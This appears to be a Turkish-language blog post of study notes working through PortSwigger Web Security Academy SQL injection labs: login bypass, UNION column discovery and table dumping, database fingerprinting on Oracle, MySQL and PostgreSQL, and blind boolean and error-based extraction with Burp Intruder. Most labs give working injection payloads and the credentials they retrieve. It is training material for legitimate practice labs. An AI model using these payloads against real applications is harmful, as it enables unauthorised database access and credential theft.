PortSwigger Lab



 

eğitim boyunca izelenecek materyal: https://portswigger.net/web-security/all-labs


setifikasyon ücreti 2024 'de $99


sql injection nedir?

- basitçe

- bir saldırganın uygulamanın veritabanına yaptığı sorgulara müdehale etmesine olanak tanıyan web güvenlik açığı

- bu saldırı, normalde gösterilmeyen sonuçları saldırgan tarafından görüntülenmesini sağlar


Lab1 - da bize Gifts bölümünde gizlenmiş herşeyi göster diyor

burada gifts bölümüne gittiğimizde url de

https://0a6800af047b792a80d35893009d006c.web-security-academy.net/filter?category=Gifts

bunu görebiliyoruz

ek olarak  ' or 1 = 1 -- dediğimizde gizlenmiş olan kısımlarda geliyor

aslında sadece gizlenmiş değil hepsini getirdik ve -- işareti de sql de yorum satırı yani işlevsizleştirildi ve sorgunun geri kalan kısmı çalışmadı



bu açığın varlığınıda dönen hatadan anlayabiliriz

https://0a6800af047b792a80d35893009d006c.web-security-academy.net/filter?category=Gifts

bu url de tek veya çift tırnak koyduğumuzda backend yani sorgunun yapıldığı bölmede bu tırnak ifadesi sorguya dahil edilirse bir hata dönecektir.


Lab2 - konu: login bypass

bize administrator olarak giriş yapmamızı söylüyor

Bu laboratuvar, oturum açma işlevinde bir SQL ekleme güvenlik açığı içerir. 

bir giriş var burada 

administrator'--

diye giriş yaptığımızda arka tarafta sorguda sadece username dikkate alınacak

ve kalan sorgu yorum satırı halini alacak


Lan3 - SQL injection UNION attack, determining the number of columns returned by the query

Bu laboratuvar, ürün kategorisi filtresinde bir SQL ekleme güvenlik açığı içeriyor. Sorgunun sonuçları uygulamanın yanıtında döndürülür, böylece diğer tablolardan veri almak için UNION saldırısını kullanabilirsiniz. Böyle bir saldırının ilk adımı, sorgunun döndürdüğü sütun sayısını belirlemektir. Daha sonra bu tekniği sonraki laboratuvarlarda tam saldırıyı oluşturmak için kullanacaksınız.


öncelikle ' vey " ile sql açığı olabilcek ve buna göre hata dönecek mi bakıyoruz

daha sonra UNION sql sorgumuza eklerken bilgi: aynı değere sahip iki select ifadesi, tipleri olmalı


her hangi bir kategori seçin ve url: /filter?category=Corporate+gifts göreceksiniz

ekleme yapacağız

' union select null --

eğer birden fazla sütun var sa hata dönecektir

/filter?category=Corporate+gifts' union select null--

/filter?category=Corporate+gifts' union select null, null--

/filter?category=Corporate+gifts' union select null, null, null--

bu şekilde sql query si göndererek sütun sayısını belirlemiş olduk


Lab4 -  SQL injection UNION attack, finding a column containing text

bura sütun içerisindeki texte erişmeyi amaçlıyoruz

aynı şekilde sütun sayısını bullalım

/filter?category=Corporate+gifts%27%20union%20select%20null,%20null,%20null--

(bu ifade url encode işlemi bu yüzden %20 gibi ilafedeler var)

bizden text bir ifade istediğinden bulduğumuz sütunların her birine teker teker karakter ifadeleri ile deneme yapalım


/filter?category=Corporate+gifts%27%20union%20select%20A,%20null,%20null--

/filter?category=Corporate+gifts' union select null, 'a', null --

200 OK 

fakat bizden istenen şu ifadenin çağrılması: uQqzWH

/filter?category=Corporate+gifts' union select null, 'uQqzWH', null --



Lab5 - SQL injection UNION attack, retrieving data from other tables

Veritabanı, username ve password adı verilen sütunlara sahip, users verilen farklı bir tablo içerir.


Laboratuvarı çözmek için, tüm kullanıcı adlarını ve şifreleri alan bir SQL enjeksiyon UNION saldırısı gerçekleştirin ve bu bilgileri administrator kullanıcı olarak oturum açmak için kullanın.


burp suit de yakalanan isteği repeter a gönderip http başlık kısmnda 

/filter?category=Pets

şunu eklersek:

%27%20union%20select%20username,%20password%20from%20users%20where%20username=%27administrator%27--

ve send dersek

sağ taraftaki açılan sayfada biraz aşağıda şu bilgiyi görebilirsiniz

<th>administrator</th>

<td>trb8xk6xa542djf8lk3i</td>

veya alt kısımda arama kutusuna administrator yazarsanız da bulabilirsiniz

elde edilen yönetici bilgisi:

username: administrator

password: trb8xk6xa542djf8lk3i

görevi tamamlamak için My Account kısmından bu bilgileri girin


Lab: SQL injection UNION attack, retrieving multiple values in a single 

bir öncekş saldırıya benzer fakat burada tek sütunda birden fazla veri almamız isteniyor

yine aynı şekilde denmelerimizi yapın

burp suite de http başlığında ek olarak

' union select null,concat(username,':',password) from users--

sağ taraf bilgileri edinebiliriz

ve ek olarak bizden istenen yine yönetici admin hesap bilgileri olduğunda:

' union select null,concat(username,':',password) from users where username='administrator'--


sonuç:<th>administrator:aswsqluf9axycdp2eyu0</th>

username: administrator

password: aswsqluf9axycdp2eyu0

my account kısmında yazın


bu kısımda önemli olan ise concat işleminde farklı db ler farklı yöntemler gereklidir

bunun için önce hangi db olduğunu öğrenelim bunun için

' union select null,version()--

version(): bu fonsiyon postgresql de version bilgisi almak için kullanılır

diğer db ler içinde bu farklı yazım şekli olabilir(araştır)

https://portswigger.net/web-security/sql-injection/cheat-sheet

bizimkisi: PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit


bu db de concat işlemi: PostgreSQL 'foo'||'bar'

ama biz concat ile de bunu yapabilmiştik hadi bunu da deneyelim

' union select null, version() --

' union select null, username || ' : ' || password from users--

ve sonuç=> administrator : gl3e12blv4twaay1x0d8


' union select null, username from users --

çıktı: administrator


' union select null, password from users where username = 'administrator' --

çıktı: gl3e12blv4twaay1x0d8


Lab: SQL injection attack, querying the database type and version on Oracle

burada bizden database in türünü bulmamızı istemiş ancak daha önce nasıl oluduğunu anlamıştık

ama oracle de önceki gibi bilgi alamıyoruz

kolan sayısı ve tiplerine bakalım

' order by 1-- 200 

' order by 2-- 200

' order by 3-- 500

2 tane olduğunu öğrendik şimdi tiplerine bakalım

burada table ismi bilmiyorsa varsayılan olarak oracle de yer alan table 'dual'

' union select 'a',null from dual --

' union select 'a','a' from dual --

iki kısımda string olduğunu gördük şimdi de version bulmak için:

' union select banner,null from v$version--

Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production


Oracle veritabanlarında, her SELECT ifadesinin from'un seçileceği bir tablo belirtmesi gerekir. UNION SELECT saldırınız bir tablodan sorgulama yapmıyorsa, yine de from anahtar sözcüğünü ve ardından geçerli bir tablo adını eklemeniz gerekecektir.


Oracle'da bu amaçla kullanabileceğiniz dual adında yerleşik bir tablo bulunmaktadır. Örneğin: UNION SELECT 'abc' from dual


Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

oracle de kine benzer bir senaryo izleyeceğiz

burada -- işareti olmadı başka bir kullanım olarak # kullanabiliriz

önce kolonların adedini bulalım

' order by 1# 200

' order by 2# 200

' order by 3# 500

2 tane kolon var 

' union select null,version#

8.0.39-0ubuntu0.20.04.1


ÖNEMLİ!! Lab: SQL injection attack, listing the database contents on non-Oracle databases

oracle olmayan database lerde database içeriklerinin listelenmesi

önce kolonların adedini bulalım

' order by 1-- 200

' order by 2-- 200

' order by 3-- 500

2 tane kolon var 

daha sonra

' union select null,version() --

PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit

yani PostgreSQL olduğunu bulduk

https://www.postgresql.org/docs/9.1/information-schema.html

https://www.oracletutorial.com/oracle-basics/oracle-select/


şimdi bulduğumuz kolanların tipleri ne bakalım

' union select null,'a' -- 200

' union select 'a','a' -- 200

şimdi öncelikle veritabanındaki tabloları bulalım

' union select 'a',table_name from information_schema.tables--

bir çok tablo çıktı

arama kutusuna users/user gib arama yapalım pakalım ne bulacağız

dikkat çekici !?!

users_uklqtl

' union select 'a',column_name from information_schema.columns where table_name = 'users_uklqtl'--

sorgu sonucu bulduğumuz columns 

username_vtssas

password_awpjeg

email


tablo = users_uklqtl

colon1 = username_vtssas

colon2 = password_awpjeg

colon3 = email

sorgumuz:  ' union select 'a',concat(username_vtssas,' : ',email,' : ',password_awpjeg) from users_uklqtl --

sonuç:

carlos :  : ep94isabqy1oz5xsj7dl

wiener :  : 6b8opis8vl59wkv8jqc9

administrator :  : ewd5dzoq1qzn1sgt5sno => bu bilgiler her seferinde değişiyor admin hesabına girin



Lab: SQL injection attack, listing the database contents on Oracle

şim aynı işlemlere benzer işlemleri oracle veritabanı için yapacağız

önce kolon sayısı tipi ve sonra version bilgisi alalım

bakalım bu çocuk kimmiş?!!?

' order by 1,2--

kolon sayısı 2

' union select 'a','a' from dual--

2 kolon da string

' union select 'a',banner from v$version--

Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

sürüm bilgisi: 11.2.0.2.0 (araştıralım)

https://docs.oracle.com/en/database/oracle/oracle-database/19/refrn/ALL_TAB_COLUMNS.html

https://portswigger.net/web-security/sql-injection/cheat-sheet (database contemt kısımı oracle)

' union select 'a',table_name from all_tables--

burada da çok fazla tablo var 

bakacağız 

garip: USERS_ZMAWGD (table_name)

şimdi de bu table ın kolonlarını bulalım

' union select 'a',column_name from all_tab_columns where table_name = 'USERS_ZMAWGD' --

bulunan kolonlar

USERNAME_JLRWVB

PASSWORD_YYBZPI

EMAIL

' union select 'a',USERNAME_JLRWVB || ' : ' || EMAIL || ':' || PASSWORD_YYBZPI from USERS_ZMAWGD--

sonuçlar: 

administrator : :qlyx0qj2f8vijmayl5ky

carlos : :l5ht5xxcsecg8gjror7j

wiener : :bmna64hr0goxz31hgmcd



Lab: Blind SQL injection with conditional responses

Bu laboratuvar kör bir SQL ekleme güvenlik açığı içeriyor. Uygulama, analiz için bir trackingId kullanır ve gönderilen çerezin değerini içeren bir SQL sorgusu gerçekleştirir.


Koşullu yanıtlarla kör SQL enjeksiyonu bulması da sömürmeside oldukça zor bir zafiyettir

SQL sorgusunun sonuçları döndürülmez ve hiçbir hata mesajı görüntülenmez. Ancak sorgunun herhangi bir satır döndürmesi durumunda uygulama sayfada bir Hoş Geldiniz mesajı içerir.


Veritabanı, username ve password verilen sütunlara sahip, users verilen farklı bir tablo içerir. administrator şifresini bulmak için kör SQL enjeksiyon güvenlik açığından yararlanmanız gerekir.


Laboratuvarı çözmek için yönetici kullanıcı olarak oturum açın.



her hangi bir dönüt vermediğin ek olarak bir browser aracından yararlanacağı: cookie editor firefox

bize bu web uygulamasında TrackingId kısmında bir sıkıntı olduğunu belirtiyor burayı kullanacağız


şimdi laba geçelim ve her burpte by ıd yi yakalamak için herhangi bir kategoryetıklayalım

dana sonra bura 2 farklı değern (trackingId,session) bilgisi gidiyor ve her sorguda bu değerleri kullanıyor

Cookie: TrackingId=5NfRgSfhr3PaZ2I2' and 1 = 1 --; session=LJxIhV4dHFY0vctxnA9SjjXv1uFW3Scj

burp suite de repeter ı kullanarak şöyle bir istek yaptım ve welcome yazısı var şimdi

test amaçlı yanlış girelim

Cookie: TrackingId=5NfRgSfhr3PaZ2I2' and 1 = 2 --; session=LJxIhV4dHFY0vctxnA9SjjXv1uFW3Scj

bu sefer gelmedi demekki kesin olarak bir blind sql açığı var diyebiliriz

muhtemelen arkada

select trackin_id from trackin_table where tracking_id = 'cooki_değeri'

select trackin_id from trackin_table where tracking_id = '5NfRgSfhr3PaZ2I2' gibi

bunu da doğruladık ve sorgularımızı bu yolla gönderebiliriz

Cookie: TrackingId=5NfRgSfhr3PaZ2I2' and (select username from users where username = 'administrator')='administrator'--;

administrator diye bir kullanıcı ve users taple ve username kolonu olduğunu öğrendik

şimdi repeterdaki bu isteği intruder a gönderelim

Cookie: TrackingId=5NfRgSfhr3PaZ2I2' and (select username from users where username = 'administrator' and lendth (password) >= 1) = 'administrator'--;


burada username i bildiğimizde sadece parola kısmına saldırı yapacağız

length (password)>1: eğer parola 1 den büyükse döndür ve tüm sonucu 'administrator' a eşitle

1 karakterini sürekli olarak intruder ile karakter uzunluğuna göre arttıracağız

kodumuzu url endoce yapalım 1 i seçip sniper diyerek payload a gidelim

numbers ı seçip 1 den mesela 30 a kadar 1 er git ki bu şifre uzunluğu

saldırı başladıktan sonra length kısmında bir süre sonda farklı değişiklik görülür

üzerine tıklayıp response bakın

20 dan sonra false yani welcome gelmiyor yani şifre 20 karakterli


şimdi şifre doğrulamak için her adımda doğrulama gerekli yine intruder i kullanacağız am kodumuz da biraz değişiklik yapacağız

' and (selecet substring(password,1,1) from users where = 'administrator') = 'a' --;

burada kelime ayrıştırıcı için substring kullanık password,ifade,uzunluk gibi düşenebilirsin

en sonda = 'a' ise bulunan değerin doğruluğu olacak

intruder e gönderin

password,1,1 deki ilk 1 ile sonda ki 'a' yı seçin

sniper yerine cluster bomb seçin

son hali:

Cookie: TrackingId=5NfRgSfhr3PaZ2I2' and (select substring(password,§1§,1) from users where username = 'administrator') = '§a§' --;

cluster bomb u seçin

1 için numbers seç ve 1 den 20 ye 1

2 için brute force max 1 min 1

şimdi atağı başlatın

biraz uzun sürecek

1 = e

2 = 7

3 = y

4 = 5

5 = f

6 = d

7 = v

8 = g

9 = 2

10 = y

11 = a

12 = l

13 = a

14 = x

15 = 4

16 = 0

17 = k

18 = o

19 = x

20 = l

sonuç: e7y5fdvg2yalax40koxl




Lab: Blind SQL injection with conditional errors

Bu laboratuvar kör bir SQL ekleme güvenlik açığı içeriyor. Uygulama, analiz için bir tracking cookie  kullanır ve submitted cookie  değerini içeren bir SQL sorgusu gerçekleştirir.


SQL sorgusunun sonuçları döndürülmez ve uygulama, sorgunun satır döndürüp döndürmemesine bağlı olarak farklı yanıt vermez. SQL sorgusu bir hataya neden olursa uygulama özel bir hata mesajı döndürür.


Veritabanı, username ve password verilen sütunlara sahip, users verilen farklı bir tablo içerir. administrator şifresini bulmak için kör SQL enjeksiyon güvenlik açığından yararlanmanız gerekir.


Laboratuvarı çözmek için yönetici kullanıcı olarak oturum açın.


Bu laboratuvar bir Oracle veritabanı kullanıyor. Daha fazla bilgi için SQL enjeksiyon hile sayfasına bakın. https://portswigger.net/web-security/sql-injection/cheat-sheet


lab ı aç burtpp te isteğği yakala ve repeter a gönder

repeter da :

Cookie: TrackingId=UjeIzWxuEqu0tP5d' || (select '' from dual) || '; dönen başlık 200 OK

şimd formu biraz bozalım ve hataya bakalım

Cookie: TrackingId=UjeIzWxuEqu0tP5d' || (select '' from dualasd) || '; 500 sunucu taraflı hata

yani kesin olarak şunu anladık veritabını oracle

' || (select case when (1=1) then to_char(1/0) else '' end from users where username = 'administrator') || '; 500 geldi

hata verdirelim şimdi

' || (select case when (1=1) then to_char(1/0) else '' end from users where username = 'administratorsad') || '; 200 geldi

aslında mantık:

doğru ifadelerde 500, doğru olmayanlar 200 dönüyor

' || (select case when (1=1) then to_char(1/0) else '' end from users where username = 'administrator' and length(password)>=§1§) || ' ;

şimdi bunu intruder e gönde ve son kısımda ki 1 e sniper seçili olarak payload kısmında numbers 1 den 30 a 1 sonra atağı başlat

20 karakter den oluştuğunu bulduk 20 ye kadar 500 20 den sonra 200 aldık 200 bizim için hata 500 ok demek!


şimdi şifre bulmak içinde:

' || (select case when (1=1) then to_char(1/0) else '' end from users where username = 'administrator' and substr(password,1,1)='a') || ' ;

burada da password,1 i ve sonda ki 'a' yı seçip clusterbomb u seçin

1 için 1 den 20 ye 1

a için de brute force diğerindeki gibi

daha sonra saldırıyı başlatın ve filter kısmından sadece 5xx olanı işaretleyip onaylayın 

şimdi bekleyeceğiz


1 = q

2 = f

3 = p

4 = j

5 = m

6 = r

7 = i

8 = e

9 = w

10 = p

11 = 5

12 = t

13 = c

14 = 7

15 = w

16 = r

17 = u

18 = 8

19 = z

20 = 5

sonuç: qfpjmriewp5tc7wru8z5


Devm Edecek...

Yorumlar

Popüler Yayınlar

Web Fundamentals

Geolocating Images

Siber Güvenlikte Sızma Testi: Adım Adım Rehber ve Araç Kullanımı

PhoneInfoga ile Telefon Numarası Taraması: Kurulum ve Kullanım Rehberi